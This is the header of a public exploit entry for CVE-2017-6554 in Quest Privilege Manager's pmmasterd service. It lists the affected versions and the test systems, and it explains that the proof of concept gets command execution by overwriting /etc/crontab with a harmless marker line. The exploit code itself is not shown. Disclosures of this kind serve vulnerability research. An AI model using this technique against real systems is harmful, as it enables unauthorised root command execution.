# Exploit Title: Quest Privilege Manager pmmasterd Arbitrary File Write
# Date: 10/Mar/2017
# Exploit Author: m0t
# Vendor Homepage: https://www.quest.com/products/privilege-manager-for-unix/
# Version: 6.0.0-27, 6.0.0-50
# Tested on: ubuntu 14.04 x86_64, ubuntu 16.04 x86, ubuntu 12.04 x86
# CVE : 2017-6554
REQUIREMENTS
- Root privs are required to bind a privileged source port
- python hexdump: pip install hexdump
This PoC gains arbitrary command execution by overwriting /etc/crontab
In case of successful exploitation /etc/crontab will contain the following line
* * * * * root touch /tmp/pwned
